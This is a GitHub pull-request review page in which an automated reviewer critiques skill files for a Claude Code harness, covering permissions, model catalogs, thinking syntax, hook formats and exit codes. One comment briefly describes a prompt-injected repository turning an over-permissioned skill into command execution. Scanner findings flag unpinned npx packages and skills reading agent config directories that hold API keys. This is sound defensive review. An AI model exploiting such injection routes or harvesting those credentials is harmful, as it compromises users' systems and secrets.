Cron and --at examples use wall-clock times but do not state whether execution uses the user, project, or server timezone. Verify the implementation and document the selected timezone and DST behavior to avoid routines running at unexpected times.

Comment on lines +1 to +5
---
name: claude-api
description: Build, debug, and optimize Claude API / Anthropic SDK applications. Covers prompt caching, thinking, tool use, batch processing, streaming, file APIs, citations, and model migrations. Trigger when code imports anthropic or @anthropic-ai/sdk.
origin: claude-code-harness
tools: Read, Write, Edit, Bash, Glob, Grep

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🗄️ Data Integrity & Integration | 🔴 Critical | ⚡ Quick win

Remove this file from the active ECC skill surface.

tests/ci/agent-yaml-surface.test.js:112-123 explicitly asserts that skills/claude-api/SKILL.md must not exist because claude-api is installed from anthropics/skills. This file will fail that CI check; move the source elsewhere or update the packaging contract before merging.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@skills/claude-api/SKILL.md` around lines 1 - 5, Remove
skills/claude-api/SKILL.md from the active ECC skill surface so it no longer
conflicts with the externally installed claude-api skill expected by
agent-yaml-surface.test.js. If the content must be retained, move it to a
non-packaged source location and update any packaging references without
changing the test’s expected absence contract.

name: claude-api
description: Build, debug, and optimize Claude API / Anthropic SDK applications. Covers prompt caching, thinking, tool use, batch processing, streaming, file APIs, citations, and model migrations. Trigger when code imports anthropic or @anthropic-ai/sdk.
origin: claude-code-harness
tools: Read, Write, Edit, Bash, Glob, Grep

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Narrow the skill’s tool permissions.

This API-reference skill is auto-activated by Anthropic imports but grants Write, Edit, and unrestricted Bash in addition to read/search tools. If tools is an effective allowlist, a prompt-injected repository could turn routine API guidance into file mutation or command execution. Prefer Read, Glob, and Grep; require explicit user approval for writes and shell commands.

As per path instructions, review this skill for prompt-injection resilience and tool-permission scope.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@skills/claude-api/SKILL.md` at line 5, Update the tools allowlist in the
API-reference skill front matter to retain only Read, Glob, and Grep; remove
Write, Edit, and Bash so the skill cannot mutate files or execute commands
without explicit user approval.

Source: Path instructions


# Claude API

Build, debug, and optimize applications using the Claude API (Anthropic SDK). All apps built with this skill should include prompt caching.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🚀 Performance & Scalability | 🔵 Trivial | ⚡ Quick win

Do not require prompt caching for every application.

Caching is useful for repeated, sufficiently large prefixes, but short prompts below the model/platform threshold are simply not cached, and cache writes have their own cost. Make caching conditional on repeated stable system prompts, tools, or long context rather than an unconditional requirement. (platform.claude.com)

Also applies to: 37-40

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@skills/claude-api/SKILL.md` at line 10, Update the skill guidance around
prompt caching so it is conditional rather than required for every application.
Recommend caching only when stable prompts, tools, or sufficiently long context
are repeated, while allowing applications with short or non-reused inputs to
omit it.

Comment on lines +27 to +35
## Current Models (as of 2025)

| Model | ID | Best For |
|-------|-----|----------|
| Claude Opus 4.7 | `claude-opus-4-7` | Most capable, complex reasoning |
| Claude Sonnet 4.6 | `claude-sonnet-4-6` | Balanced capability and speed |
| Claude Haiku 4.5 | `claude-haiku-4-5-20251001` | Fast, cost-efficient |

Default to the latest and most capable model for new applications.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== file exists and relevant content =="
if [ -f skills/claude-api/SKILL.md ]; then
  nl -ba skills/claude-api/SKILL.md | sed -n '1,80p'
else
  echo "skills/claude-api/SKILL.md not found"
fi

echo
echo "== repo files under skills/claude-api =="
git ls-files skills/claude-api

Repository: affaan-m/ECC

Length of output: 229


🌐 Web query:

Anthropic platform model deprecations July 2026 claude-opus-4-8 claude-sonnet-5 claude-opus-4-7 claude-sonnet-4-6 claude-haiku-4-5-20251001

💡 Result:

As of today, July 23, 2026, the status of the requested models is as follows: Active Models: - claude-opus-4-8: Active; tentative retirement not sooner than May 28, 2027 [1][2]. - claude-sonnet-5: Active; tentative retirement not sooner than June 30, 2027 [1][2]. - claude-opus-4-7: Active; tentative retirement not sooner than April 16, 2027 [1][2]. - claude-sonnet-4-6: Active; tentative retirement not sooner than February 17, 2027 [1][2]. - claude-haiku-4-5-20251001: Active; tentative retirement not sooner than October 15, 2026 [1][2]. Summary of Recent Deprecations: None of the specific models you listed are currently deprecated or retired [1][2]. Recent model deprecations occurred on June 15, 2026, for older versions, specifically claude-sonnet-4-20250514 and claude-opus-4-20250514, which were replaced by models like claude-sonnet-4-6 and claude-opus-4-8 respectively [1][3][4]. Additionally, claude-opus-4-1-20250805 was deprecated on June 5, 2026, with a retirement date of August 5, 2026 [1][2]. For the most accurate and up-to-date information, please refer to the official Anthropic Platform documentation on model deprecations [1].

Citations:


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== file exists and relevant content =="
if [ -f skills/claude-api/SKILL.md ]; then
  awk '{printf "%4d\t%s\n", NR, $0}' skills/claude-api/SKILL.md | sed -n '1,100p'
else
  echo "skills/claude-api/SKILL.md not found"
fi

echo
echo "== repo files under skills/claude-api =="
git ls-files skills/claude-api || true

echo
echo "== precise model mentions in skill =="
python3 - <<'PY'
from pathlib import Path
p=Path("skills/claude-api/SKILL.md")
if p.exists():
    text=p.read_text()
    for m in ["claude-opus-4-8","claude-sonnet-5","claude-opus-4-7","claude-sonnet-4-6","claude-haiku-4-5-20251001","current models","latest"]:
        print(f"{m!r}: {m in text}")
    print("line 27-35:")
    lines=text.splitlines()
    for i in range(26, min(36, len(lines))):
        print(f"{i+1}: {lines[i]}")
PY

Repository: affaan-m/ECC

Length of output: 4332


Refresh the Claude model catalog and default recommendation.

The catalog is still dated 2025 and omits current active models such as claude-opus-4-8 and claude-sonnet-5; update the table and choose the current latest model in the “Default to the latest…” line so new app guidance points at Anthropic’s current top model.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@skills/claude-api/SKILL.md` around lines 27 - 35, Update the “Current Models”
table in the Claude skill documentation to include the active Claude Opus 4.8
(`claude-opus-4-8`) and Claude Sonnet 5 (`claude-sonnet-5`) models, revise the
date as appropriate, and change the default recommendation to the current latest
top model, Claude Opus 4.8.

Comment on lines +119 to +125
response = client.messages.create(
model="claude-opus-4-7",
max_tokens=16000,
thinking={
"type": "enabled",
"budget_tokens": 10000
},

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

printf 'Relevant file snippet:\n'
sed -n '105,130p;165,182p' skills/claude-api/SKILL.md || true

printf '\nSearch for thinking/adaptive/opus in file:\n'
rg -n 'claude-opus-4-7|thinking|adaptive|budget_tokens|output_config|minimum|1000|1,024|1024' skills/claude-api/SKILL.md || true

printf '\nRepository files:\n'
git ls-files | rg '(^skills/|\.md$)' | head -80

Repository: affaan-m/ECC

Length of output: 5896


🌐 Web query:

Claude API adaptive thinking models claude-opus-4-7 thinking budget_tokens deprecated

💡 Result:

Adaptive thinking is the recommended approach for managing reasoning in modern Claude models [1][2]. The manual extended thinking parameter thinking: {type: "enabled", budget_tokens: N} has been deprecated on models like Claude Opus 4.6 and Claude Sonnet 4.6 and is fully unsupported on newer models, including Claude Opus 4.7, Claude Opus 4.8, Claude Sonnet 5, Claude Fable 5, and Claude Mythos 5 [3][4][5]. On models where manual extended thinking is deprecated (e.g., Opus 4.6), using budget_tokens will continue to function for now, but it is recommended to migrate to adaptive thinking to avoid future compatibility issues [4][5]. On newer models that do not support it, providing budget_tokens or the enabled type will result in a 400 error [3][6][5]. Key points for migration and usage: 1. Shift to Adaptive Thinking: Use thinking: {type: "adaptive"} in your API requests [1][3][5]. 2. Replace Budget with Effort: The budget_tokens parameter does not have a direct replacement because adaptive thinking allows the model to dynamically determine reasoning depth [7][6]. Instead, use the output_config: {effort: ...} parameter to steer the model's reasoning behavior [3][5]. Available effort levels include max, xhigh, high (default), medium, and low [8][9]. 3. Model-Specific Behavior: - Claude Opus 4.7 and 4.8: Adaptive thinking is the only supported mode. Thinking must be enabled explicitly by setting thinking: {type: "adaptive"} [1][4][5]. - Claude Sonnet 5: Adaptive thinking is enabled by default [1][10]. - Claude Fable 5 and Mythos 5: Adaptive thinking is always on and cannot be disabled [1][10]. 4. Older Models: Models released prior to these changes (e.g., Claude Opus 4.5, Sonnet 4.5, Haiku 4.5) do not support adaptive thinking and continue to require type: "enabled" with budget_tokens [3][5][2].

Citations:


🌐 Web query:

Claude API beta output_config effort xhigh high max adaptive thinking documentation

💡 Result:

In the Claude API, the output_config.effort parameter is used to control the depth and frequency of the model's reasoning when adaptive thinking is enabled [1][2]. It is a soft guidance parameter rather than a hard token limit [2][3]. The available effort levels are: max: Provides the absolute maximum capability with no constraints on thinking depth, intended for tasks requiring the deepest possible reasoning and thorough analysis [1][2]. xhigh: Offers extended capability for long-horizon work, such as complex agentic or coding tasks (typically over 30 minutes) [1][2]. This is recommended as the starting point for most coding and high-autonomy workloads [4][5]. high: The default level [5][6]. It provides a balance between intelligence and token usage, and is recommended as the minimum level for most intelligence-sensitive tasks [1][4]. medium: A lower effort level designed for cost-sensitive workloads, where the model may skip thinking for simpler queries [2][4]. low: Minimizes thinking, reserving it for latency-sensitive or short, scoped tasks [2][4]. Important implementation details: Configuration: Effort is set via the top-level output_config object in the API request body, not within the thinking object [2][7]. Example structure: { "model": "claude-opus-4-8", "max_tokens": 4096, "thinking": { "type": "adaptive" }, "output_config": { "effort": "high" }, "messages": [...] } Adaptive Thinking vs. Effort: You should not pass "adaptive" as an effort value, as it is a thinking mode, not an effort level [1]. Adaptive thinking must be explicitly enabled using {"thinking": {"type": "adaptive"}} [4][7]. Resource Management: Because thinking tokens count against your total max_tokens budget, you should ensure max_tokens is set high enough to accommodate both the reasoning process and the final response [2][3]. If you encounter stop_reason: "max_tokens", you can either increase your max_tokens limit or lower the effort level [2][3]. Optimization: Setting effort to the model's default (high) is functionally equivalent to omitting the parameter and does not invalidate prompt caching [3]. Conversely, changing the effort level between requests will invalidate cache breakpoints [3].

Citations:


Use adaptive thinking for the Opus 4.7 example.

claude-opus-4-7 uses adaptive thinking instead of manual extended-thinking; replace thinking: {"type": "enabled", "budget_tokens": 10000} with adaptive-thinking form and update the troubleshooting line from “minimum ~1000” to the documented 1,024-token minimum for legacy manual mode.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@skills/claude-api/SKILL.md` around lines 119 - 125, Update the
claude-opus-4-7 example’s messages.create thinking configuration to use adaptive
thinking rather than the manual enabled/budget_tokens form. Also revise the
related troubleshooting guidance to state the documented 1,024-token minimum for
legacy manual thinking mode.

Comment on lines +50 to +65
### Adding a Hook

```json
{
"hooks": {
"PostToolUse": [
{
"matcher": { "tool_name": "Edit" },
"hooks": [
{ "type": "command", "command": "npx eslint --fix $CLAUDE_TOOL_INPUT_FILE_PATH" }
]
}
]
}
}
```

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

📐 Maintainability & Code Quality | 🟠 Major | ⚡ Quick win

Add an explicit ## Examples section.

The hook, permission, and environment snippets should be grouped under a clearly labeled examples section to satisfy the required skill format.

🧰 Tools
🪛 SkillSpector (2.3.11)

[warning] 59: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Remediation: Pin the version: npx @scope/server@1.2.3

(MCP Rug Pull (RP1))


[error] 31: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.

(Agent Snooping (AS1))


[error] 94: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.

(Agent Snooping (AS1))

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@skills/update-config/SKILL.md` around lines 50 - 65, Add an explicit “##
Examples” heading in SKILL.md before the hook, permission, and environment
configuration snippets, grouping all of those examples under that section while
preserving their existing content.

Source: Coding guidelines

Comment on lines +54 to +60
"hooks": {
"PostToolUse": [
{
"matcher": { "tool_name": "Edit" },
"hooks": [
{ "type": "command", "command": "npx eslint --fix $CLAUDE_TOOL_INPUT_FILE_PATH" }
]

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== locate hook usage and target file =="
rg -n '"hooks"|"PostToolUse"|CLAUDE_TOOL_INPUT_FILE_PATH|tool_input\.file_path|tool_name|matcher' skills commands agents rules .github 2>/dev/null | head -200 || true

echo
echo "== target file excerpt =="
if [ -f skills/update-config/SKILL.md ]; then
  wc -l skills/update-config/SKILL.md
  sed -n '1,120p' skills/update-config/SKILL.md | cat -n
fi

echo
echo "== related examples in repo =="
rg -n '"command":|command.*npx eslint|tool_input|CLAUDE_TOOL_INPUT_FILE_PATH' -g '*SKILL.md' -g '*.md' .

Repository: affaan-m/ECC

Length of output: 45070


🌐 Web query:

Claude Code hooks documentation matcher command stdin $CLAUDE_TOOL_INPUT_FILE_PATH tool_input.file_path

💡 Result:

In Claude Code, hook commands do not support environment variable substitution like $CLAUDE_TOOL_INPUT_FILE_PATH [1]. While some online resources incorrectly suggest this syntax, it will not work [1]. Instead, Claude Code passes structured JSON data containing the event context, including tool inputs, directly to the hook script via standard input (stdin) [2][3][1]. To access the file path in a command hook, your script must read from stdin and parse the JSON [1]. How to access tool_input.file_path: 1. Read the JSON input from stdin: Capture it using a command like INPUT=$(cat) [1]. 2. Parse the JSON: Use a tool like jq to extract the field [1]. Example bash script implementation: #!/bin/bash # Read hook input from stdin INPUT=$(cat) # Extract file_path from tool_input using jq FILE_PATH=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty') # Check if the path exists before proceeding if [ -z "$FILE_PATH" ]; then exit 0 fi # Run your command echo "Processing file: $FILE_PATH" #... your logic here... exit 0 The matcher field in your hooks configuration is used to filter which tool calls trigger the hook (e.g., using "Write|Edit" to target file-modifying tools), but it does not perform variable substitution within the command string itself [2][4][5]. Always ensure your hook scripts safely handle cases where the expected input fields might be null or missing [1].

Citations:


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== read target locale files =="
for f in README.md docs/README.md lang/*/README.md; do
  [ -f "$f" ] && echo "--- $f" && rg -n 'matcher.*tool_input|CLAUDE_TOOL_INPUT_FILE_PATH|FILE_PATH|tool_input\.file_path|PostToolUse|eslint|prettier|bash -c|jq' "$f" | head -80 || true
done

echo
echo "== inspect hooks README and language README examples =="
for f in docs/en/hooks/README.md hooks/README.md README.md; do
  if [ -f "$f" ]; then
    echo "--- $f"
    sed -n '120,250p' "$f" | cat -n
  fi
done

echo
echo "== precise snippets around local README examples on hooks =="
for f in README.md docs/README.md lang/en/README.md docs/en/README.md; do
  if [ -f "$f" ]; then
    echo "--- $f"
    rg -n -C4 'PostToolUse|tool_input.file_path|FILE_PATH|CLAUDE_FILE_PATH|CLAUDE_TOOL_INPUT|eslint|prettier' "$f" || true
  fi
done

Repository: affaan-m/ECC

Length of output: 20204


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== inspect hooks README and README examples around variables =="
for f in README.md docs/README.md docs/en/hooks/README.md hooks/README.md docs/ja-JP/rules/web/hooks.md; do
  [ -f "$f" ] || continue
  echo "--- $f"
  sed -n '208,258p' "$f" | cat -n
  echo
  rg -n -C3 'FILE_PATH|CLAUDE_FILE|tool_input\.file_path|matcher:\s*"' "$f" || true
done

echo
echo "== inspect object matcher usages =="
for f in rules/arkts/hooks.md rules/dart/hooks.md skills/update-config/SKILL.md; do
  [ -f "$f" ] || continue
  echo "--- $f"
  sed -n '40,100p' "$f" | cat -n
done

echo
echo "== check exact snippet for object matcher in README examples =="
rg -n 'matcher":\s*\{\s*"tool_name":\s*"Edit"\s*\}' .

Repository: affaan-m/ECC

Length of output: 11949


Fix the hook example to match Claude Code’s command-format contracts.

matcher should be a string like "Edit" or a supported expression, and command hooks receive the event JSON on stdin. Use a wrapper script that reads stdin, checks tool_name: "Edit" and tool_input.file_path, and only then calls npx eslint --fix with a quoted path.

🧰 Tools
🪛 SkillSpector (2.3.11)

[warning] 59: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Remediation: Pin the version: npx @scope/server@1.2.3

(MCP Rug Pull (RP1))


[error] 31: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.

(Agent Snooping (AS1))


[error] 94: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.

(Agent Snooping (AS1))

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@skills/update-config/SKILL.md` around lines 54 - 60, Update the PostToolUse
hook example in the hooks configuration to use a string matcher such as "Edit"
instead of an object. Replace the direct eslint command with a wrapper script
that reads event JSON from stdin, verifies tool_name is "Edit" and
tool_input.file_path exists, then invokes npx eslint --fix with the path safely
quoted.

Comment on lines +81 to +89
### Setting an Environment Variable

```json
{
"env": {
"DEBUG": "true",
"NODE_ENV": "development"
}
}

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Keep secrets out of project settings.

Because .claude/settings.json is committed and shared, instruct users to place API keys and other sensitive values in user or local settings instead of the project env block. (code.claude.com)

🧰 Tools
🪛 SkillSpector (2.3.11)

[warning] 59: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Remediation: Pin the version: npx @scope/server@1.2.3

(MCP Rug Pull (RP1))


[error] 31: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.

(Agent Snooping (AS1))


[error] 94: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.

(Agent Snooping (AS1))

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@skills/update-config/SKILL.md` around lines 81 - 89, Update the “Setting an
Environment Variable” guidance in SKILL.md to explicitly keep API keys and other
secrets out of the shared project env block, and direct users to store sensitive
values in user or local settings instead. Preserve the existing non-sensitive
environment variable example.

Source: Path instructions

Comment on lines +100 to +108
## Hook Troubleshooting

Common reasons a hook doesn't fire:

- **Wrong event type** — `PreToolUse` vs `PostToolUse` vs `Stop`
- **Matcher too narrow** — check `tool_name` spelling (case-sensitive)
- **JSON parse error** — the entire settings file is silently skipped
- **Command exits non-zero** — for `PreToolUse`, this blocks the tool; for others it's logged
- **ECC hook gating** — if using ECC hooks, check `ECC_DISABLED_HOOKS` env var

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🌐 Web query:

Claude Code hooks exit code 2 blocks hook non-zero exit code 1

💡 Result:

In Claude Code, hook exit codes function as a control mechanism to determine whether an action should proceed or be blocked [1][2]. The specific behavior is as follows: - Exit Code 0: The hook reports success or no objection, and the action proceeds normally [3][4]. - Exit Code 2: This is the mandatory code for blocking an action [3][5]. When a hook exits with 2, the action is stopped, and any text written to stderr is captured and fed back to Claude as context, allowing it to adjust its approach [3][1][4]. - Exit Code 1 (and other non-zero/non-2 codes): These are treated as non-blocking errors [3][1]. The action proceeds, and an error notice (along with the first line of stderr) is typically displayed in the session transcript, with the full stderr logged to debug files [1][4][6]. There is a notable exception to these rules: for the WorktreeCreate event, any non-zero exit code (including 1) will abort the operation [3][7]. Additionally, while official documentation defines exit code 1 as non-blocking, users have reported inconsistent behavior in specific contexts (e.g., PostToolUse), where exit code 1 can sometimes disrupt execution [8]. Therefore, for consistent enforcement of policies or blocking behavior, you must explicitly use exit code 2 [3][5][1].

Citations:


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== File excerpt =="
sed -n '88,112p' skills/update-config/SKILL.md 2>/dev/null || true

echo
echo "== References to hook exit codes in repo =="
rg -n "exit code|non-zero|exit\\s*[021]|blocked|breaks?" . --glob '*.md' --glob '!node_modules/**' || true

Repository: affaan-m/ECC

Length of output: 50370


Correct the non-zero hook exit-code behavior.

For Claude Code hooks, only exit code 2 blocks most actions; exit 1 is a non-blocking error. Update this line so users don’t write security or policy hooks with exit 1 and expect the tool call to be stopped.

🧰 Tools
🪛 SkillSpector (2.3.11)

[warning] 59: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Remediation: Pin the version: npx @scope/server@1.2.3

(MCP Rug Pull (RP1))


[error] 31: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.

(Agent Snooping (AS1))


[error] 94: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.

(Agent Snooping (AS1))

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@skills/update-config/SKILL.md` around lines 100 - 108, Update the “Command
exits non-zero” bullet in the Hook Troubleshooting section to state that exit
code 2 blocks most actions, while exit code 1 is a non-blocking error; preserve
the existing distinction that behavior may vary by hook event.

Comment thread skills/verify/SKILL.md
Comment on lines +43 to +56
### 3. Run the App

Start the application in a mode appropriate for the change:

```bash
# Web server
npm run dev

# CLI tool
node scripts/ecc.js <command>

# Test suite (as a smoke check)
npm test
```

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Do not treat the test suite as launching the application.

npm test is listed under “Run the App,” but the skill correctly says tests are not verification. Keep test execution as a separate smoke/regression step and require an actual application process plus observed behavior before reporting success.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@skills/verify/SKILL.md` around lines 43 - 56, Update the “Run the App”
section so npm test is removed from the application-launch commands and
documented as a separate smoke/regression step. Require starting the relevant
application process, exercising the changed behavior, and observing its result
before reporting success.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant